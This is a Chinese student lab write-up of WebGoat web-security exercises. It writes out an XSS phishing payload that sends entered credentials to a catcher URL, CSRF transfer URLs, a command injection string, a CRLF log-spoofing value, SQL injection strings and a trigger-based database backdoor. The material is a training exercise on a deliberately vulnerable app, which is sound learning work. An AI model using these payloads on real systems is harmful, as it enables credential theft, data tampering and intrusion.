基础问题回答

SQL注入攻击原理,如何防御?

  1. SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,通过执行SQL语句进执行攻击者所要的操作。
  2. 如何防御?首先严格区分普通用户和管理员用户的权限, 强迫使用参数化语句,加强对用户输入的验证,多使用SQL Server数据库自带的安全参数。

XSS攻击的原理,如何防御?

  • XSS是代码注入的一种,它允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。
    XSS的防御:

    • 设置过滤语句,对于代码、可执行语句等一律过滤掉。
    • 检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。

CSRF攻击原理,如何防御?

    • CSRF攻击原理主要是用其他用户的身份访问网站并利用网站生成的cookie向服务器发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
    • CSRF的防御:

      • 通过验证码来检测用户提交;
      • 不在页面中暴露用户的隐私信息

实践内容

关于WebGoat

首先开启webgoat,使用命令java -jar webgoat-container-7.0.1-war-exec.jar

在浏览器输入localhost:8080/WebGoat,进入webgoat,默认用户名和密码,登录

Cross-Site Scripting(XSS)练习

Phishing with XSS

利用XSS可以在已存在的页面中进一步添加元素的特点,先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...,完整的XSS攻击代码如下:

</form><script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script><form name="phish"><br><br><HR><H2>This feature requires account login:</H2><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

首先在搜索框中输入攻击代码后点击,会看到一个要求输入用户名密码的表单

输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈

攻击成功

Stored XSS Attacks

直接在message中输入代码<script>alert("20145310 attack succeed!");</script>,

title输入随意,提交后,点击刚刚创建的帖子,攻击成功

Reflected XSS Attacks

在反射型XSS攻击,攻击者可以制作一个URL攻击脚本发送到另一个网站,电子邮件,或让受害者点击它。

当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们

如果将带有攻击性的URL输入,继续输入上面那行代码,就会弹出对话框说明攻击成功

这个XSS攻击是费持久化的,需要诱骗用户去点击链接才能触发,总体来说上面的更危险。

Cross Site Request Forgery(CSRF)

目的是要写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框用户一旦点击图片,就会开始攻击。

首先车看Parameters值,然后在message中输入代码

攻击成功。

CSRF Prompt By-Pass

这次攻击需要转账请求和确认转账成功请求。需要额外传递两个参数给服务器

在浏览器中手动输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000进入确认转账请求页面:

点击CONFIRM按钮后,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,成功转走了5000元

Injection Flaws练习

Command Injection

这个题目需要用到火狐的查看源代码的插件,右上角的Firebug。首先对源代码进行修改,比如在BackDoors.help旁边加上"& netstat -an & ipconfig"

下拉菜单后就能看到修改后的值

点击view,看到命令已经被执行了。

Numeric SQL Injection

注入SQL字符串,使其可以查看所有天气的数据。利用firebug在任意一个值后面加上 or 1=1(永真)

点击GO,就能看到所有天气

Log Spoofing

我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入20145310%0d%0aLogin Succeeded for username: admin

攻击成功

String SQL Injection

基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --

Go,攻击成功,所有用户信息都被显示出来:

LAB:SQL Injection(Stage 1:String SQL Injection)

  登录,在密码栏中输入' or 1=1 --进行SQL注入,但是登录失败,原来是对出入长度进行了限制,进入源代码改之

重新登录,成功

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

用上一题的办法先以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile

这个地方是以员工ID作为索引传递参数的,进入源代码,把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个。

之后就可以查看到老板的信息

Database Backdoors

先输一个101,得到了该用户的信息

可以发现输入的语句没有验证,很容易进行SQL注入,输入注入语句:101; update employee set salary=19999,成功把该用户的工资涨到了19999

接下来使用语句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145310@163.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为自己的

Blind Numeric SQL Injection

这个题目需要捕获包。首先打开Burpsuite

设置代理“Proxy”的“Options”选项

默认是8080端口被占用时需要添加一个新的端口8888,点击add

添加后勾选,如图所示

打开浏览器右侧选项卡,preference-advanced-settings

相当于将burpsuite当成中间服务器,每个数据包都流过它。

设置好之后回到题目,任意选择一项,点击GO,然后回到burpsuite。发现多了捕获的包:

右键send to repeater ,我们修改station值从为101 为 101 or 1=1,点击GO

回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功

20145310《网络对抗》Exp9 Web安全基础实践的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  3. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  4. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  5. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  6. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  7. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  8. 20155311《网络对抗》Web安全基础实践

    20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  9. 20155338《网络对抗》Web安全基础实践

    20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...

  10. 20145216史婧瑶《网络对抗》Web安全基础实践

    20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...

随机推荐

  1. firmware 固件

    COMPPUTER SCIENCE AN OVERVIEW 11th Edition firmware 固件 boot loader 引导程序 device driver 设备驱动程序 Basic I ...

  2. 通过qemu复现路由器漏洞

    目录 简介 环境搭建 固件解包 复现漏洞,IDA调试 参考资料 简介 qemu和vmware一样,一种虚拟机软件,只不过qemu能够虚拟的平台更加丰富一些.能够虚拟很多嵌入式平台的设备. 工作上需要向 ...

  3. 系统之锹sysdig:Linux服务器监控和排障利器

    当你需要追踪某个进程产生和接收的系统调用时,首先浮现在你脑海中的是什么?你可能会想到strace,那么你是对的.你会使用什么样的命令行工具来监控原始网络通信呢?如果你想到了tcpdump,你又作出了一 ...

  4. 新建虚拟机_XP系统(一)

    准备工作:(1)安装VMware (2)下载系统镜像文件 1.新建虚拟机 2.下一步,选择“稍后安装操作系统” 3.选择操作系统类型和版本 4.设置虚拟机名称和安装位置 (安装路径空间要足够大) 5. ...

  5. seajs引入jquery为什么无效?

    简单来说,你的jquery没有模块化? 答案:传送门1.传送门2

  6. easyUi引入方法

    1:创建一个动态web工程:    去官网http://www.jeasyui.net/download/下载官网文档    我去官网下载的最新版本,个人根据自己的需求下载即可.2:在webConte ...

  7. dedecms首页调用随机文章全自动时时更新

    dedecms织梦系统是全站生成静态html的,这个对搜索引擎比较友好,但是有时我们要调用文章,让蜘蛛每次来访问都感觉像是有添加新内容一样,要如何做到呢? 可以添加以下dedecms随机文章调用的参数 ...

  8. 001-window版redis安装

    一.参考地址 官方地址:https://redis.io/ windows版本[学习使用]:https://github.com/MicrosoftArchive/redis 二.windows版re ...

  9. [sh]sh最佳实战(含grep)

    sh虐我千百遍,我待sh如初恋. sh复习资料 http://www.cnblogs.com/iiiiher/p/5385108.html http://blog.csdn.net/iiiiher/a ...

  10. BFS广搜题目(转载)

    BFS广搜题目有时间一个个做下来 2009-12-29 15:09 1574人阅读 评论(1) 收藏 举报 图形graphc优化存储游戏 有时间要去做做这些题目,所以从他人空间copy过来了,谢谢那位 ...